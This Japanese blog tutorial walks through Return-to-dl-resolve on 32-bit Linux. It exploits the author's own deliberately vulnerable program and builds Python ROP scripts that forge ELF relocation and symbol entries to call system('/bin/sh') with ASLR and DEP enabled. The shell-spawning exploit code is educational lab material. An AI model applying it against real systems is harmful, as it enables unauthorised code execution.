ROP stager + Return-to-dl-resolveによるASLR+DEP回避
「ROP stager + read/writeによるASLR+DEP回避」では、PLT中のwrite関数を使うことでlibcのベースアドレスを特定し、system関数によるシェル起動を行った。 この方法では各ライブラリ関数のオフセットを調べておく必要があるが、このオフセットはlibcの種類やバージョンごとに異なるため、不明な場合は最初にこれを特定する必要がある。 しかし、ライブラリ関数の初回呼び出し時におけるアドレス解決の仕組みを利用すると、libcの種類によらず任意のライブラリ関数を呼ぶことが可能になる。 この方法はReturn-to-dl-resolveなどと呼ばれる。 ここではASLR+DEPが有効な状況下で、ROP stagerによる固定アドレス書き込みおよびReturn-to-dl-resolveを使ったシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 4); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、DEP有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector bof.c $ echo -e "\x04\x00\x00\x00AAAA" | ./a.out AAAA
ELF relocationの仕組み
ELF形式の実行ファイルでは、PLTおよびGOTと呼ばれるテーブルを使い、ライブラリ関数のアドレスを初回実行時に動的に解決する。 この処理はダイナミックリンカと呼ばれるライブラリが行い、a.out形式の場合はld.so、ELF形式の場合はld-linux.soがこれに対応する。 また、これらの実装はglibcにある。
上のプログラムをディスアセンブルし、write関数呼び出し時の流れを確認してみる。 まず、write関数はmain関数の中で次のようにして呼び出される。
$ objdump -d a.out Disassembly of section .text: 08048404 <main>: 8048404: 55 push ebp 8048405: 89 e5 mov ebp,esp ... 8048455: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 804845c: e8 df fe ff ff call 8048340 <write@plt> 8048461: b8 00 00 00 00 mov eax,0x0 8048466: c9 leave 8048467: c3 ret
write@pltは実行ファイルの.pltセクションに置かれており、中身は次のようになっている。
08048340 <write@plt>: 8048340: ff 25 0c a0 04 08 jmp DWORD PTR ds:0x804a00c 8048346: 68 18 00 00 00 push 0x18 804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30>
0x804a00cは.got.pltセクションの中にあり、この中身は初回呼び出し時はjmpの次の命令を指す0x8048346となっている。 そしてアドレスの解決が行われると、このアドレスは実際に解決されたlibc内のwrite関数のアドレスに書き換えられ、以降の呼び出しは直接write関数にジャンプするようになる。 初回呼び出し時は、スタックに0x18をpushした後、.pltセクションの先頭にある処理にジャンプする。
08048300 <read@plt-0x10>: 8048300: ff 35 f8 9f 04 08 push DWORD PTR ds:0x8049ff8 8048306: ff 25 fc 9f 04 08 jmp DWORD PTR ds:0x8049ffc 804830c: 00 00 add BYTE PTR [eax],al ...
ここで、0x8049ff8および0x8049ffcは実行ファイルの.gotセクションの2ワード目、3ワード目であり、実行時にld-linux.soのアドレスが入る。 具体的にはそれぞれ.bssセクションの後ろのアドレス、_dl_runtime_resolve関数のアドレスとなり、前者がスタックに積まれた後、後者の関数にジャンプすることになる。 _dl_runtime_resolve関数はアーキテクチャごとに異なる実装になっており、x86の場合は次のようになっている。
.text .globl _dl_runtime_resolve .type _dl_runtime_resolve, @function cfi_startproc .align 16 _dl_runtime_resolve: cfi_adjust_cfa_offset (8) pushl %eax # Preserve registers otherwise clobbered. cfi_adjust_cfa_offset (4) pushl %ecx cfi_adjust_cfa_offset (4) pushl %edx cfi_adjust_cfa_offset (4) movl 16(%esp), %edx # Copy args pushed by PLT in register. Note movl 12(%esp), %eax # that `fixup' takes its parameters in regs. call _dl_fixup # Call resolver. popl %edx # Get register content back. cfi_adjust_cfa_offset (-4) movl (%esp), %ecx movl %eax, (%esp) # Store the function address. movl 4(%esp), %eax ret $12 # Jump to function address. cfi_endproc .size _dl_runtime_resolve, .-_dl_runtime_resolve
コードとコメントから、レジスタにセットしたスタック上の値を引数として、本体である_dl_fixup関数が呼ばれることがわかる。 ここでセットされる値は、先にpushした.bssセクションの次のアドレスと0x18である。
_dl_fixup関数の実装は次にある。
この関数は概ね以下に説明する流れでアドレス解決を行う。 なお、各構造体は次のように定義されている。
typedef uint32_t Elf32_Word; typedef uint32_t Elf32_Addr; typedef uint16_t Elf32_Section; typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
- 実行ファイルの.rel.pltセクションを参照し、reloc_offset (=0x18) の位置にあるELF32_Rel構造体
reloc
を見る - 実行ファイルの.dynsymセクションにあるElf32_Sym構造体の配列を参照し、
reloc->rel_info >> 8
番目の要素sym
を見る - 実行ファイルの.dynstrセクションを参照し、
sym->st_name
のオフセット位置にある文字列を見る - この文字列を関数名とする関数のアドレスを解決し、
reloc->rel_offset
に入っているGOTアドレスに書き込む - 解決したアドレスにジャンプし、ライブラリ関数本体が実行される
ここで、reloc_offset (=0x18) が.pltセクションの先頭にジャンプする前にpushされる任意の32bit整数であることを考える。 すると、次のように調整することで任意のライブラリ関数が呼べそうなことがわかる。
- 適当なELF32_Rel構造体
reloc2
を指すようにreloc_offsetを計算し、これをスタックに置いた状態で.pltセクションの先頭にジャンプする - 適当なElf32_Sym構造体
sym2
を指すようにインデックスreloc2->rel_info >> 8
を計算してセットしておく - 適当な文字列を指すように、
sym2->st_name
のオフセット値を計算してセットしておく - 呼び出したい関数名を適当な文字列として置いておく
これを行うには、用意した構造体や文字列のアドレスを知っておく必要がある。 ここではROP stagerを使い固定アドレスにデータを書き込むことで、これらのアドレスを計算できるようにする。
エクスプロイトコードを書いてみる
上の内容をもとに、ステップバイステップで確認しながらエクスプロイトコードを書いてみる。
ROP stagerでReturn-to-pltしてみる
ROP stagerで.bssセグメントにデータを書き込みstack pivotした後、PLTセクションにあるwrite関数を呼ぶコードを書くと次のようになる。 具体的な手順は「ROP stager + read/writeによるASLR+DEP回避」と同じである。
# test1.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_plt_read = 0x08048310 # objdump -d -j.plt a.out addr_plt_write = 0x08048340 # objdump -d -j.plt a.out addr_bss = 0x0804a018 # readelf -S a.out addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080483d3 # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) stack_size = 0x800 base_stage = addr_bss + stack_size p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) buf = 'A' * bufsize buf += 'AAAA' * 3 buf += struct.pack('<I', addr_plt_read) buf += struct.pack('<I', addr_pop3) buf += struct.pack('<I', 0) buf += struct.pack('<I', base_stage) buf += struct.pack('<I', 100) buf += struct.pack('<I', addr_pop_ebp) buf += struct.pack('<I', base_stage) buf += struct.pack('<I', addr_leave_ret) p.stdin.write(struct.pack('<I', len(buf))) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(buf)) # 2nd stage cmd = '/bin/sh <&2 >&2' buf = 'AAAA' buf += struct.pack('<I', addr_plt_write) buf += 'AAAA' buf += struct.pack('<I', 1) buf += struct.pack('<I', base_stage+80) buf += struct.pack('<I', len(cmd)) buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(cmd)) p.wait()
このコードはオーバーフローさせるバッファのサイズを引数に取る。 また、libcのベースアドレスの書き出しやオフセットの計算などは行っていない。
引数をセットし実行すると次のようになる。
$ python test1.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] read: '/bin/sh <&2 >&2'
write@plt関数により、与えた文字列が書き出されていることが確認できる。
直接relocationさせてみる
次に、write@pltにジャンプする代わりにpltセクションの先頭に直接ジャンプしてみる。 すでに確認したように、このプログラムのwrite@pltにおけるreloc_offsetは0x18である。 これをジャンプするアドレスの次に挿入すれば、通常のジャンプ時と同じスタックの状態となる。
# test2.py (snip) # 2nd stage cmd = '/bin/sh <&2 >&2' addr_plt_start = 0x08048300 # objdump -d -j.plt a.out reloc_offset = 0x18 # objdump -d -j.plt a.out buf = 'AAAA' buf += struct.pack('<I', addr_plt_start) buf += struct.pack('<I', reloc_offset) buf += 'AAAA' buf += struct.pack('<I', 1) buf += struct.pack('<I', base_stage+80) buf += struct.pack('<I', len(cmd)) buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(cmd)) p.wait()
実行すると、同じ結果となることが確認できる。
$ python test2.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] read: '/bin/sh <&2 >&2'
Relocationテーブルを作ってみる
次に、適当なRel32_Rel構造体を作り、これに合わせて計算したreloc_offsetを指定してみる。 まず、write@pltが参照している構造体について調べてみる。
$ objdump -s -j.rel.plt a.out Contents of section .rel.plt: 80482b0 00a00408 07010000 04a00408 07020000 ................ 80482c0 08a00408 07030000 0ca00408 07040000 ................
ここで、バイト列がビッグエンディアンで並んでいることに注意する。 上の結果から、.rel.pltセクションの先頭アドレスは0x80482b0、本来のreloc_offsetである0x18の位置には0x804a00c、0x407が入っていることがわかる。 r_offsetに相当する0x804a00cはwrite@plt関数が参照するGOTアドレスであり、この位置に解決されたwrite関数のアドレスが書き込まれることになる。
この結果を元にコードを書き換えてみると次のようになる。
# test3.py (snip) # 2nd stage cmd = '/bin/sh <&2 >&2' addr_plt_start = 0x08048300 # objdump -d -j.plt a.out #reloc_offset = 0x18 # objdump -d -j.plt a.out addr_relplt = 0x80482b0 # objdump -s -j.rel.plt a.out reloc_offset = (base_stage+28) - addr_relplt addr_got_write = 0x804a00c # objdump -s -j.rel.plt a.out r_info = 0x407 # objdump -s -j.rel.plt a.out buf = 'AAAA' buf += struct.pack('<I', addr_plt_start) buf += struct.pack('<I', reloc_offset) buf += 'AAAA' buf += struct.pack('<I', 1) buf += struct.pack('<I', base_stage+80) buf += struct.pack('<I', len(cmd)) buf += struct.pack('<I', addr_got_write) # Elf32_Rel buf += struct.pack('<I', r_info) buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(cmd)) p.wait()
実行すると、同じ結果となることが確認できる。
$ python test3.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] read: '/bin/sh <&2 >&2'
シンボルテーブルを作ってみる
さらに、適当なElf32_Sym構造体を作り、これに合わせて計算した配列のインデックスreloc->r_info >> 8
を指定してみる。
まず、.dynsymセクションにあるシンボルテーブルと、このテーブルが参照する.dynstrセクションを確認する。
$ objdump -s -j.dynsym a.out Contents of section .dynsym: 80481cc 00000000 00000000 00000000 00000000 ................ 80481dc 29000000 00000000 00000000 12000000 )............... 80481ec 01000000 00000000 00000000 20000000 ............ ... 80481fc 2e000000 00000000 00000000 12000000 ................ 804820c 40000000 00000000 00000000 12000000 @............... 804821c 1a000000 3c850408 04000000 11000f00 ....<........... $ objdump -s -j.dynstr a.out Contents of section .dynstr: 804822c 005f5f67 6d6f6e5f 73746172 745f5f00 .__gmon_start__. 804823c 6c696263 2e736f2e 36005f49 4f5f7374 libc.so.6._IO_st 804824c 64696e5f 75736564 00726561 64005f5f din_used.read.__ 804825c 6c696263 5f737461 72745f6d 61696e00 libc_start_main. 804826c 77726974 6500474c 4942435f 322e3000 write.GLIBC_2.0.
Elf32_Sym構造体のサイズは0x10バイトであり、このシンボルテーブルには6個のElf32_Sym構造体がある。
本来のreloc->r_info
は0x407であるから、参照しているインデックスreloc->r_info >> 8
は0x4である。
ここでインデックスは0から始まるので、0x804820cにある0x40
がwrite関数に対応するsym->st_name
である。
実際.dynstrセクションを見ると、オフセット0x40の位置に"write\x00"
が入っていることが確認できる。
また、sym->st_info
はシンボルの種類を表しており、ここでは(STB_GLOBAL << 4) | STT_FUNC
(=0x12) である。
これは、シンボルがグローバルかつ関数を指していることを意味する。
なお、reloc->r_info & 0xff
はrelocationエントリの種類を表しており、ここではR_386_JMP_SLOT
(=7) である。
_dl_fixup関数ではこの値がR_386_JMP_SLOT
であることをチェックしており、異なる値の場合はエラーとなる。
この結果を元にコードを書き換えてみると次のようになる。
# test4.py (snip) # 2nd stage cmd = '/bin/sh <&2 >&2' addr_plt_start = 0x08048300 # objdump -d -j.plt a.out #reloc_offset = 0x18 # objdump -d -j.plt a.out addr_relplt = 0x80482b0 # objdump -s -j.rel.plt a.out reloc_offset = (base_stage+28) - addr_relplt addr_got_write = 0x804a00c # objdump -s -j.rel.plt a.out #r_info = 0x407 # objdump -s -j.rel.plt a.out addr_dynsym = 0x80481cc # objdump -s -j.dynsym a.out addr_dynstr = 0x804822c # objdump -s -j.dynstr a.out addr_sym = base_stage + 36 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym index_dynsym = (addr_sym - addr_dynsym) / 0x10 r_info = (index_dynsym << 8) | 0x7 st_name = 0x40 # objdump -s -j.dynsym a.out buf = 'AAAA' buf += struct.pack('<I', addr_plt_start) buf += struct.pack('<I', reloc_offset) buf += 'AAAA' buf += struct.pack('<I', 1) buf += struct.pack('<I', base_stage+80) buf += struct.pack('<I', len(cmd)) buf += struct.pack('<I', addr_got_write) # Elf32_Rel buf += struct.pack('<I', r_info) buf += 'A' * align_dynsym buf += struct.pack('<I', st_name) # Elf32_Sym buf += struct.pack('<I', 0) buf += struct.pack('<I', 0) buf += struct.pack('<I', 0x12) buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(cmd)) p.wait()
ここで、Elf32_Sym構造体を置くアドレスはdynsymセクションの先頭からちょうど構造体のサイズ(=0x10)の倍数だけ進んだ位置でなければならない。 このコードでは、align_dynsym変数を使ってこのアラインメントを行っている。
実行すると、同じ結果となることが確認できる。
$ python test4.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] read: '/bin/sh <&2 >&2'
ストリングテーブルを作ってみる
最後に、適当なアドレスに文字列"write\x00"
を置き、これに合わせて計算したst->name
を指定してみる。
# test5.py (snip) # 2nd stage cmd = '/bin/sh <&2 >&2' addr_plt_start = 0x08048300 # objdump -d -j.plt a.out #reloc_offset = 0x18 # objdump -d -j.plt a.out addr_relplt = 0x80482b0 # objdump -s -j.rel.plt a.out reloc_offset = (base_stage+28) - addr_relplt addr_got_write = 0x804a00c # objdump -s -j.rel.plt a.out #r_info = 0x407 # objdump -s -j.rel.plt a.out addr_dynsym = 0x80481cc # objdump -s -j.dynsym a.out addr_dynstr = 0x804822c # objdump -s -j.dynstr a.out addr_sym = base_stage + 36 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym index_dynsym = (addr_sym - addr_dynsym) / 0x10 r_info = (index_dynsym << 8) | 0x7 #st_name = 0x40 # objdump -s -j.dynsym a.out st_name = (addr_sym + 16) - addr_dynstr buf = 'AAAA' buf += struct.pack('<I', addr_plt_start) buf += struct.pack('<I', reloc_offset) buf += 'AAAA' buf += struct.pack('<I', 1) buf += struct.pack('<I', base_stage+80) buf += struct.pack('<I', len(cmd)) buf += struct.pack('<I', addr_got_write) # Elf32_Rel buf += struct.pack('<I', r_info) buf += 'A' * align_dynsym buf += struct.pack('<I', st_name) # Elf32_Sym buf += struct.pack('<I', 0) buf += struct.pack('<I', 0) buf += struct.pack('<I', 0x12) buf += 'write\x00' buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(cmd)) p.wait()
実行すると、同じ結果となることが確認できる。
$ python test5.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' [+] read: '/bin/sh <&2 >&2'
system関数でシェルを起動してみる
上で置いた文字列"write\x00"
を"system\x00"
に書き換え、スタックに並べた引数の位置をこれに合わせて直してみる。
# test6.py (snip) # 2nd stage cmd = '/bin/sh <&2 >&2' addr_plt_start = 0x08048300 # objdump -d -j.plt a.out #reloc_offset = 0x18 # objdump -d -j.plt a.out addr_relplt = 0x80482b0 # objdump -s -j.rel.plt a.out reloc_offset = (base_stage+28) - addr_relplt addr_got_write = 0x804a00c # objdump -s -j.rel.plt a.out #r_info = 0x407 # objdump -s -j.rel.plt a.out addr_dynsym = 0x80481cc # objdump -s -j.dynsym a.out addr_dynstr = 0x804822c # objdump -s -j.dynstr a.out addr_sym = base_stage + 36 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym index_dynsym = (addr_sym - addr_dynsym) / 0x10 r_info = (index_dynsym << 8) | 0x7 #st_name = 0x40 # objdump -s -j.dynsym a.out st_name = (addr_sym + 16) - addr_dynstr buf = 'AAAA' buf += struct.pack('<I', addr_plt_start) buf += struct.pack('<I', reloc_offset) buf += 'AAAA' buf += struct.pack('<I', base_stage+80) buf += 'AAAA' buf += 'AAAA' buf += struct.pack('<I', addr_got_write) # Elf32_Rel buf += struct.pack('<I', r_info) buf += 'A' * align_dynsym buf += struct.pack('<I', st_name) # Elf32_Sym buf += struct.pack('<I', 0) buf += struct.pack('<I', 0) buf += struct.pack('<I', 0x12) buf += 'system\x00' buf += 'A' * (80-len(buf)) buf += cmd + '\x00' buf += 'A' * (100-len(buf)) p.stdin.write(buf) p.wait()
実行すると、次のようになる。
$ python test6.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' $ id uid=1000(user) gid=1000(user) groups=1000(user) $
system関数が呼び出され、シェルが起動できていることがわかる。
コードを整理してみる
各種アドレスや構造体の配置、計算式などを整理したコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x080481cc # readelf -S a.out addr_dynstr = 0x0804822c # readelf -S a.out addr_relplt = 0x080482b0 # readelf -S a.out addr_plt = 0x08048300 # readelf -S a.out addr_bss = 0x0804a018 # readelf -S a.out addr_plt_read = 0x8048310 # objdump -d -j.plt a.out addr_got_read = 0x804a000 # objdump -d -j.plt a.out addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080483d3 # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) stack_size = 0x800 base_stage = addr_bss + stack_size buf1 = 'A' * bufsize buf1 += 'AAAA' * 3 buf1 += struct.pack('<I', addr_plt_read) buf1 += struct.pack('<I', addr_pop3) buf1 += struct.pack('<I', 0) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', 100) buf1 += struct.pack('<I', addr_pop_ebp) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', addr_leave_ret) addr_reloc = base_stage + 20 addr_sym = addr_reloc + 8 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym addr_symstr = addr_sym + 16 addr_cmd = addr_symstr + 7 reloc_offset = addr_reloc - addr_relplt r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7 st_name = addr_symstr - addr_dynstr buf2 = 'AAAA' buf2 += struct.pack('<I', addr_plt) buf2 += struct.pack('<I', reloc_offset) buf2 += 'AAAA' buf2 += struct.pack('<I', addr_cmd) buf2 += struct.pack('<I', addr_got_read) # Elf32_Rel buf2 += struct.pack('<I', r_info) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf32_Sym buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0x12) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (100-len(buf2)) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) p.wait()
このコードは実行ファイル内のアドレスのみを参照しており、libcバイナリから計算されるオフセットは利用していない。
引数をセットして実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08' $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ASLR+DEPが有効な条件下で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。
関連リンク
- Advanced return-into-lib(c) exploits (PaX case study) (Phrack 58)
- Return to Dynamic Linker (Codegate 2014 Junior)
- Reversing the ELF: Stepping with GDB during PLT uses and .GOT fixup
- examining PLT/GOT structures
- dynofu - Tracing Shared Library Call Translation
- プログラムはどう動くのか? ~ ELFの黒魔術をかいまみる
- ELFの再配置シンボルの解決 | ψ(プサイ)の興味関心空間